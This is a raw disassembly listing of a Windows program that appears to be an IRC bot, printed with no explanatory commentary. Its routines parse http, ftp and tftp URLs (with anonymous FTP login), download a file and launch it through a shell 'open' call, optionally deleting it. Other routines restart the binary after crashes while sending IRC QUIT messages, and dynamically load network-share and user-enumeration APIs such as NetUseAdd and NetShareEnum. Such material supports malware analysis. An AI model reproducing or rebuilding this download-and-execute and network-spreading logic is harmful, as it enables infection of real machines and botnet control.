loc_4023CD:				; CODE XREF: sub_402230+129j
					; sub_402230+158j ...
		push	7
		lea	eax, [ebp+var_3C8]
		push	offset aHttp	; "http://"
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40241D
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4023FC
		lea	eax, [ebp+var_8]
		push	offset a80	; "80"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_4023FC:				; CODE XREF: sub_402230+1BAj
		lea	eax, [ebp+var_3C1]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		mov	[ebp+arg_0], 1
		pop	ecx
		jmp	loc_4024D9
; ---------------------------------------------------------------------------


loc_40241D:				; CODE XREF: sub_402230+1B5j
		push	6
		lea	eax, [ebp+var_3C8]
		push	offset aFtp	; "ftp://"
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40248A
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40244C
		lea	eax, [ebp+var_8]
		push	offset a21	; "21"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_40244C:				; CODE XREF: sub_402230+20Aj
		lea	eax, [ebp+var_3C2]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	esi, offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_4CC]
		push	esi
		push	eax
		mov	[ebp+arg_0], 2
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_44C]
		push	esi
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 18h
		jmp	short loc_4024D9
; ---------------------------------------------------------------------------


loc_40248A:				; CODE XREF: sub_402230+205j
		push	7
		lea	eax, [ebp+var_3C8]
		push	offset aTftp	; "tftp://"
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40279B
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4024BD
		lea	eax, [ebp+var_8]
		push	offset a69	; "69"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_4024BD:				; CODE XREF: sub_402230+27Bj
		lea	eax, [ebp+var_3C1]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		mov	[ebp+arg_0], 3
		pop	ecx


loc_4024D9:				; CODE XREF: sub_402230+1E8j
					; sub_402230+258j
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		mov	esi, eax


loc_4024E8:				; CODE XREF: sub_402230+2C8j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40255C
		cmp	[ebp+esi+var_3C8], 40h
		jz	short loc_4024FA
		dec	esi
		jmp	short loc_4024E8
; ---------------------------------------------------------------------------


loc_4024FA:				; CODE XREF: sub_402230+2C5j
		lea	eax, [ebp+var_3C8]
		push	offset asc_413528 ; ":"
		push	eax
		mov	[ebp+esi+var_3C8], bl
		call	sub_411528	; strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	edi, 80h
		jz	short loc_402531
		mov	[eax], bl
		inc	eax
		push	edi
		push	eax
		lea	eax, [ebp+var_44C]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch


loc_402531:				; CODE XREF: sub_402230+2EBj
		lea	eax, [ebp+var_3C8]
		push	edi
		push	eax
		lea	eax, [ebp+var_4CC]
		push	eax
		call	sub_4059C2
		lea	eax, [ebp+esi+var_3C7]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 14h


loc_40255C:				; CODE XREF: sub_402230+2BBj
		lea	eax, [ebp+var_3C8]
		push	offset asc_413524 ; "/"
		push	eax
		call	sub_411528	; strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_402587
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset unk_4134F8
		jmp	loc_4027A8
; ---------------------------------------------------------------------------


loc_402587:				; CODE XREF: sub_402230+343j
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_3C8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_6D0]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 10h
		call	sub_4114E2	; clock
		cmp	[ebp+arg_0], 1
		mov	dword ptr [ebp+var_1C+4], eax
		mov	[ebp+var_C], ebx
		jnz	short loc_402605
		push	[ebp+var_3CC]
		xor	eax, eax
		cmp	[ebp+var_38], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_44C]
		push	eax
		lea	eax, [ebp+var_4CC]
		push	eax
		call	sub_402018
		add	esp, 24h
		mov	dword ptr [ebp+var_14+4], eax


loc_402605:				; CODE XREF: sub_402230+38Ej
		cmp	[ebp+arg_0], 2
		jnz	short loc_402650
		push	[ebp+var_3CC]
		xor	eax, eax
		cmp	[ebp+var_38], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_44C]
		push	eax
		lea	eax, [ebp+var_4CC]
		push	eax
		call	sub_40222D
		add	esp, 24h
		mov	dword ptr [ebp+var_14+4], eax


loc_402650:				; CODE XREF: sub_402230+3D9j
		cmp	[ebp+arg_0], 3
		jnz	short loc_40268D
		push	[ebp+var_3CC]
		xor	eax, eax
		cmp	[ebp+var_38], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6D0]
		push	eax
		call	sub_40222D
		add	esp, 1Ch
		mov	dword ptr [ebp+var_14+4], eax


loc_40268D:				; CODE XREF: sub_402230+424j
		cmp	dword ptr [ebp+var_14+4], 1
		jnz	loc_40276A


loc_402697:				; CODE XREF: sub_402230+D4j
		cmp	[ebp+var_26], bl
		jz	short loc_4026A3
		mov	eax, offset dword_4134EC
		jmp	short loc_4026B2
; ---------------------------------------------------------------------------


loc_4026A3:				; CODE XREF: sub_402230+46Aj
		cmp	[ebp+var_36], bl
		mov	eax, offset dword_4134E0
		jnz	short loc_4026B2
		mov	eax, offset byte_4191D0


loc_4026B2:				; CODE XREF: sub_402230+471j
					; sub_402230+47Bj
		push	eax
		mov	eax, [ebp+var_C]
		shr	eax, 0Ah
		mov	dword ptr [ebp+var_14],	eax
		mov	dword ptr [ebp+var_14+4], ebx
		fild	[ebp+var_14]
		fstp	[ebp+arg_0]
		call	sub_4114E2	; clock
		sub	eax, dword ptr [ebp+var_1C+4]
		mov	dword ptr [ebp+var_1C+4], ebx
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_1C],	eax
		lea	eax, [ebp+var_2C4]
		fild	[ebp+var_1C]
		fmul	flt_412280
		fdivr	[ebp+arg_0]
		fstp	[esp+7ECh+var_7EC]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1C0]
		push	offset dword_413498
		push	eax
		call	sub_4096CB
		add	esp, 1Ch
		cmp	[ebp+var_37], bl
		jz	short loc_40271B
		lea	eax, [ebp+var_2C4]
		push	eax
		call	dword_4120B8	; DeleteFileA
		jmp	short loc_40278D
; ---------------------------------------------------------------------------


loc_40271B:				; CODE XREF: sub_402230+4DAj
		cmp	[ebp+var_36], bl
		jnz	short loc_402725
		cmp	[ebp+var_26], bl
		jz	short loc_40278D


loc_402725:				; CODE XREF: sub_402230+4EEj
		xor	eax, eax
		cmp	[ebp+var_33], bl
		setz	al
		push	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4121E4
		cmp	eax, 20h
		jbe	short loc_402754
		cmp	[ebp+var_26], bl
		jz	short loc_40278D
		call	sub_4052DF
		jmp	short loc_40278D
; ---------------------------------------------------------------------------


loc_402754:				; CODE XREF: sub_402230+516j
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_413470
		jmp	short loc_40277E
; ---------------------------------------------------------------------------


loc_40276A:				; CODE XREF: sub_402230+461j
		lea	eax, [ebp+var_7D4]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_413440


loc_40277E:				; CODE XREF: sub_402230+F9j
					; sub_402230+112j ...
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_4096CB
		add	esp, 10h


loc_40278D:				; CODE XREF: sub_402230+4E9j
					; sub_402230+4F3j ...
		push	[ebp+var_3CC]
		call	sub_406E6F
		pop	ecx
		jmp	short loc_4027C2
; ---------------------------------------------------------------------------


loc_40279B:				; CODE XREF: sub_402230+272j
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset unk_413414


loc_4027A8:				; CODE XREF: sub_402230+352j
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_4096CB
		push	[ebp+var_3CC]
		call	sub_406E6F
		add	esp, 10h


loc_4027C2:				; CODE XREF: sub_402230+569j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_402230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027CB	proc near		; CODE XREF: sub_407A76+5DDp

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		push	esi
		jz	loc_402879
		push	3AFh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_402879
		push	8
		push	7Ah
		push	61h
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		call	sub_40B515
		and	[ebp+eax+var_10], 0
		lea	eax, [ebp+var_10]
		push	offset dword_413620
		push	eax
		call	sub_4114EE	; _mbscat
		add	esp, 1Ch
		cmp	[ebp+arg_8], 0
		jnz	short loc_402824
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax


loc_402824:				; CODE XREF: sub_4027CB+51j
		push	ebx
		push	edi
		mov	edi, 104h
		lea	ebx, [esi+4]
		push	edi
		push	[ebp+arg_4]
		push	ebx
		call	sub_4059C2
		push	edi
		lea	eax, [esi+108h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4059C2
		push	[ebp+arg_0]
		lea	eax, [esi+20Ch]
		push	eax
		call	sub_40457C
		add	esp, 20h
		lea	eax, [esi+108h]
		push	eax
		push	ebx
		push	offset dword_4135FC
		push	0
		push	esi
		push	offset sub_402230
		call	sub_406D58
		add	esp, 18h
		pop	edi
		pop	ebx


loc_402879:				; CODE XREF: sub_4027CB+Bj
					; sub_4027CB+20j
		pop	esi
		leave
		retn
sub_4027CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40287C	proc near		; CODE XREF: sub_406BBC+7Ep
					; sub_406CB2+83p ...

var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		push	1
		push	offset dword_4191DC
		call	sub_407216
		mov	esi, [ebp+arg_0]
		xor	edi, edi
		cmp	dword_4191D8, edi
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jz	loc_402994
		mov	edx, [esi]
		mov	eax, 0C0000025h
		mov	edi, offset aException_othe ; "EXCEPTION_OTHER"
		mov	ecx, [edx]
		cmp	ecx, eax
		ja	short loc_4028F1
		jz	short loc_4028EA
		cmp	ecx, 80000003h
		jz	short loc_4028E3
		cmp	ecx, 0C0000005h
		jz	short loc_4028DC
		cmp	ecx, 0C000001Dh
		jnz	short loc_402924
		mov	edi, offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_4028DC:				; CODE XREF: sub_40287C+4Fj
		mov	edi, offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_4028E3:				; CODE XREF: sub_40287C+47j
		mov	edi, offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_4028EA:				; CODE XREF: sub_40287C+3Fj
		mov	edi, offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_4028F1:				; CODE XREF: sub_40287C+3Dj
		cmp	ecx, 0C000008Dh
		jb	short loc_402924
		cmp	ecx, 0C0000093h
		jbe	short loc_40291F
		cmp	ecx, 0C0000094h
		jz	short loc_402918
		cmp	ecx, 0C00000FDh
		jnz	short loc_402924
		mov	edi, offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_402918:				; CODE XREF: sub_40287C+8Bj
		mov	edi, offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_402924
; ---------------------------------------------------------------------------


loc_40291F:				; CODE XREF: sub_40287C+83j
		mov	edi, offset aException_flt ; "EXCEPTION_FLT"


loc_402924:				; CODE XREF: sub_40287C+57j
					; sub_40287C+5Ej ...
		cmp	dword ptr [edx+4], 1
		mov	edx, offset aRestarting	; "Restarting"
		jz	short loc_402934
		mov	edx, offset aContinuing	; "Continuing"


loc_402934:				; CODE XREF: sub_40287C+B1j
		mov	eax, [esi+4]
		push	edx
		push	edi
		push	ecx
		push	dword ptr [eax+0C0h]
		push	dword ptr [eax+0B8h]
		push	dword ptr [eax+0C4h]
		push	dword ptr [eax+0B4h]
		push	dword ptr [eax+9Ch]
		push	dword ptr [eax+0A0h]
		push	dword ptr [eax+0A8h]
		push	dword ptr [eax+0ACh]
		push	dword ptr [eax+0A4h]
		push	dword ptr [eax+0B0h]
		lea	eax, [ebx+1]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41364C
		push	offset dword_418E50
		call	sub_409659
		add	esp, 48h
		xor	edi, edi


loc_402994:				; CODE XREF: sub_40287C+27j
		inc	ebx
		cmp	ebx, 64h
		jz	short loc_4029C0
		mov	eax, [esi]
		cmp	dword ptr [eax+4], 1
		jz	short loc_4029C0
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_4029BB
		mov	esi, [esi+4]
		inc	dword ptr [esi+0B8h]
		or	eax, 0FFFFFFFFh


loc_4029B6:				; CODE XREF: sub_40287C+142j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4029BB:				; CODE XREF: sub_40287C+12Cj
		push	1
		pop	eax
		jmp	short loc_4029B6
; ---------------------------------------------------------------------------


loc_4029C0:				; CODE XREF: sub_40287C+11Cj
					; sub_40287C+124j
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	edi
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_402A00
		push	edi
		push	edi
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	offset aOpen	; "open"
		push	edi
		call	dword_4121E4
		cmp	eax, 20h
		ja	short loc_402A00
		push	offset aQuitExitting ; "QUIT :exitting"
		jmp	short loc_402A05
; ---------------------------------------------------------------------------


loc_402A00:				; CODE XREF: sub_40287C+160j
					; sub_40287C+17Bj
		push	offset aQuitRestarting ; "QUIT :restarting"


loc_402A05:				; CODE XREF: sub_40287C+182j
		call	sub_4097DB
		pop	ecx
		push	edi
		call	dword_412064	; ExitProcess
sub_40287C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A12	proc near		; DATA XREF: sub_402D7B:loc_402EACo

var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_402A57
		mov	eax, [edi+4]
		cmp	eax, ebx
		jz	short loc_402A37
		cmp	eax, 2
		jz	short loc_402A37
		mov	esi, 273Fh
		jmp	short loc_402A49
; ---------------------------------------------------------------------------


loc_402A37:				; CODE XREF: sub_402A12+17j
					; sub_402A12+1Cj
		mov	eax, [edi+8]
		cmp	eax, 1
		jz	short loc_402A57
		cmp	eax, 2
		jz	short loc_402A57
		mov	esi, 273Ch


loc_402A49:				; CODE XREF: sub_402A12+23j
		push	esi
		call	dword_412244	; WSASetLastError
		mov	eax, esi
		jmp	loc_402C0A
; ---------------------------------------------------------------------------


loc_402A57:				; CODE XREF: sub_402A12+10j
					; sub_402A12+2Bj ...
		cmp	[ebp+arg_0], ebx
		jnz	loc_402AF7
		push	30h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	loc_402B3E
		push	30h
		push	ebx
		push	esi
		call	sub_4114E8	; memset
		push	10h
		lea	eax, [ebp+var_18]
		pop	ebx
		push	ebx
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		cmp	[ebp+arg_4], 0
		mov	[ebp+var_18], 2
		jz	short loc_402AAD
		push	[ebp+arg_4]
		call	sub_41151C	; atoi
		pop	ecx
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_16], ax


loc_402AAD:				; CODE XREF: sub_402A12+85j
		test	edi, edi
		mov	dword ptr [esi+4], 2
		jz	short loc_402ABD
		mov	eax, [edi+8]
		jmp	short loc_402AC0
; ---------------------------------------------------------------------------


loc_402ABD:				; CODE XREF: sub_402A12+A4j
		push	1
		pop	eax


loc_402AC0:				; CODE XREF: sub_402A12+A9j
		test	edi, edi
		mov	[esi+8], eax
		jz	short loc_402ACC
		mov	eax, [edi+0Ch]
		jmp	short loc_402ACF
; ---------------------------------------------------------------------------


loc_402ACC:				; CODE XREF: sub_402A12+B3j
		push	6
		pop	eax


loc_402ACF:				; CODE XREF: sub_402A12+B8j
		mov	[esi+0Ch], eax
		lea	ecx, [ebp+var_18]
		lea	eax, [esi+20h]
		push	ebx
		push	ecx
		mov	[esi+10h], ebx
		mov	[esi+18h], eax
		and	[ebp+var_14], 0
		push	eax
		call	sub_4114D0	; memcpy
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		mov	[eax], esi
		jmp	loc_402C08
; ---------------------------------------------------------------------------


loc_402AF7:				; CODE XREF: sub_402A12+48j
		push	[ebp+arg_0]
		call	dword_41224C	; gethostbyname
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402B20
		mov	eax, [eax+0Ch]
		xor	edi, edi
		mov	[ebp+arg_0], edi


loc_402B0F:				; CODE XREF: sub_402A12+105j
		cmp	[eax], ebx
		jz	short loc_402B19
		inc	edi
		add	eax, 4
		jmp	short loc_402B0F
; ---------------------------------------------------------------------------


loc_402B19:				; CODE XREF: sub_402A12+FFj
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jnz	short loc_402B2A


loc_402B20:				; CODE XREF: sub_402A12+F3j
		mov	eax, 2AFBh
		jmp	loc_402C0A
; ---------------------------------------------------------------------------


loc_402B2A:				; CODE XREF: sub_402A12+10Cj
		lea	esi, [edi+edi*2]
		shl	esi, 4
		push	esi
		call	sub_4114C4	; malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_402B4E


loc_402B3E:				; CODE XREF: sub_402A12+5Aj
		push	8
		call	dword_412244	; WSASetLastError
		push	8
		pop	eax
		jmp	loc_402C0A
; ---------------------------------------------------------------------------


loc_402B4E:				; CODE XREF: sub_402A12+12Aj
		push	esi
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		push	10h
		lea	eax, [ebp+var_28]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		cmp	[ebp+arg_4], ebx
		mov	[ebp+var_28], 2
		jz	short loc_402B84
		push	[ebp+arg_4]
		call	sub_41151C	; atoi
		pop	ecx
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_26], ax


loc_402B84:				; CODE XREF: sub_402A12+15Cj
		test	edi, edi
		jbe	short loc_402C00
		mov	eax, [ebp+var_4]
		lea	esi, [eax+8]


loc_402B8E:				; CODE XREF: sub_402A12+1ECj
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_402B99
		mov	eax, [eax]
		jmp	short loc_402B9C
; ---------------------------------------------------------------------------


loc_402B99:				; CODE XREF: sub_402A12+181j
		push	4
		pop	eax


loc_402B9C:				; CODE XREF: sub_402A12+185j
		mov	ecx, [ebp+arg_8]
		lea	edi, [esi-8]
		test	ecx, ecx
		mov	[edi], eax
		mov	dword ptr [esi-4], 2
		jz	short loc_402BB4
		mov	eax, [ecx+8]
		jmp	short loc_402BB7
; ---------------------------------------------------------------------------


loc_402BB4:				; CODE XREF: sub_402A12+19Bj
		push	1
		pop	eax


loc_402BB7:				; CODE XREF: sub_402A12+1A0j
		test	ecx, ecx
		mov	[esi], eax
		jz	short loc_402BC2
		mov	eax, [ecx+0Ch]
		jmp	short loc_402BC5
; ---------------------------------------------------------------------------


loc_402BC2:				; CODE XREF: sub_402A12+1A9j
		push	6
		pop	eax


loc_402BC5:				; CODE XREF: sub_402A12+1AEj
		mov	edx, [ebp+var_8]
		push	10h
		mov	[esi+4], eax
		pop	ecx
		lea	eax, [esi+18h]
		mov	[esi+8], ecx
		mov	[esi+10h], eax
		mov	edx, [edx+0Ch]
		push	ecx
		lea	ecx, [ebp+var_28]
		mov	edx, [edx+ebx*4]
		push	ecx
		push	eax
		mov	edx, [edx]
		mov	[ebp+var_24], edx
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		test	ebx, ebx
		jz	short loc_402BF7
		mov	[esi-1Ch], edi


loc_402BF7:				; CODE XREF: sub_402A12+1E0j
		inc	ebx
		add	esi, 30h
		cmp	ebx, [ebp+arg_0]
		jb	short loc_402B8E


loc_402C00:				; CODE XREF: sub_402A12+174j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx


loc_402C08:				; CODE XREF: sub_402A12+E0j
		xor	eax, eax


loc_402C0A:				; CODE XREF: sub_402A12+40j
					; sub_402A12+113j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_402A12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C11	proc near		; DATA XREF: sub_402D7B+13Bo

var_424		= byte ptr -424h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		jnz	short loc_402C29
		cmp	[ebp+arg_10], edi
		jz	short loc_402C34


loc_402C29:				; CODE XREF: sub_402C11+11j
		mov	ebx, [ebp+arg_18]
		test	ebx, 0FFFFFFE0h
		jz	short loc_402C3E


loc_402C34:				; CODE XREF: sub_402C11+16j
		mov	esi, 2726h
		jmp	loc_402D2E
; ---------------------------------------------------------------------------


loc_402C3E:				; CODE XREF: sub_402C11+21j
		mov	esi, [ebp+arg_0]
		cmp	word ptr [esi],	2
		jz	short loc_402C51
		mov	esi, 273Fh
		jmp	loc_402D2E
; ---------------------------------------------------------------------------


loc_402C51:				; CODE XREF: sub_402C11+34j
		cmp	[ebp+arg_8], edi
		jz	loc_402CF4
		push	dword ptr [esi+4]
		add	esi, 4
		call	dword_412230	; inet_ntoa
		cmp	eax, edi
		jnz	short loc_402C72
		or	eax, 0FFFFFFFFh
		jmp	loc_402D60
; ---------------------------------------------------------------------------


loc_402C72:				; CODE XREF: sub_402C11+57j
		mov	edi, 401h
		push	edi
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		test	bl, 2
		jnz	short loc_402CE1
		test	bl, 4
		jz	short loc_402CC5


loc_402C92:				; CODE XREF: sub_402C11+C0j
					; sub_402C11+C6j
		push	0
		push	4
		push	esi
		call	dword_412234	; gethostbyaddr
		mov	esi, eax
		test	esi, esi
		jz	short loc_402CD9
		push	dword ptr [esi]
		call	sub_4114BE	; strlen
		inc	eax
		pop	ecx
		cmp	eax, [ebp+arg_C]
		ja	short loc_402D29
		push	edi
		lea	eax, [ebp+var_424]
		push	dword ptr [esi]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		jmp	short loc_402CF4
; ---------------------------------------------------------------------------


loc_402CC5:				; CODE XREF: sub_402C11+7Fj
		test	bl, 1
		jz	short loc_402CE1
		mov	eax, [esi]
		cmp	eax, 7F000001h
		jz	short loc_402C92
		test	eax, eax
		jnz	short loc_402CE1
		jmp	short loc_402C92
; ---------------------------------------------------------------------------


loc_402CD9:				; CODE XREF: sub_402C11+90j
		call	dword_412238	; WSAGetLastError
		jmp	short loc_402D60
; ---------------------------------------------------------------------------


loc_402CE1:				; CODE XREF: sub_402C11+7Aj
					; sub_402C11+B7j ...
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_4114BE	; strlen
		inc	eax
		pop	ecx
		cmp	eax, [ebp+arg_C]
		ja	short loc_402D29


loc_402CF4:				; CODE XREF: sub_402C11+43j
					; sub_402C11+B2j
		cmp	[ebp+arg_10], 0
		jz	short loc_402D47
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax+2]
		push	eax
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		call	sub_41192A	; _itoa
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_402D39


loc_402D29:				; CODE XREF: sub_402C11+9Ej
					; sub_402C11+E1j
		mov	esi, 2747h


loc_402D2E:				; CODE XREF: sub_402C11+28j
					; sub_402C11+3Bj
		push	esi
		call	dword_412244	; WSASetLastError
		mov	eax, esi
		jmp	short loc_402D60
; ---------------------------------------------------------------------------


loc_402D39:				; CODE XREF: sub_402C11+116j
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_10]
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D47:				; CODE XREF: sub_402C11+E7j
		cmp	[ebp+arg_8], 0
		jz	short loc_402D5E
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+arg_8]
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D5E:				; CODE XREF: sub_402C11+13Aj
		xor	eax, eax


loc_402D60:				; CODE XREF: sub_402C11+5Cj
					; sub_402C11+CEj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	1Ch
sub_402C11	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D67	proc near		; DATA XREF: sub_402D7B+145o

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		jz	short locret_402D78
		push	[esp+arg_0]
		call	sub_4114CA	; free
		pop	ecx

locret_402D78:				; CODE XREF: sub_402D67+5j
		retn	4
sub_402D67	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D7B	proc near		; CODE XREF: kkrunchy:004112A0p
		push	esi
		push	edi
		mov	edi, dword_41205C
		push	offset aKernel32_dll ; "kernel32.dll"
		call	edi	; LoadLibraryA
		mov	esi, dword_412060
		test	eax, eax
		jz	short loc_402DA1
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	esi	; GetProcAddress
		mov	dword_4191E0, eax


loc_402DA1:				; CODE XREF: sub_402D7B+17j
		push	ebx
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	edi	; LoadLibraryA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402E24
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	ebx
		call	esi	; GetProcAddress
		push	offset aNetuseadd ; "NetUseAdd"
		push	ebx
		mov	dword_4191E8, eax
		call	esi	; GetProcAddress
		push	offset aNetusedel ; "NetUseDel"
		push	ebx
		mov	dword_4191EC, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	ebx
		mov	dword_4191F0, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	ebx
		mov	dword_4191F4, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	ebx
		mov	dword_4191F8, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
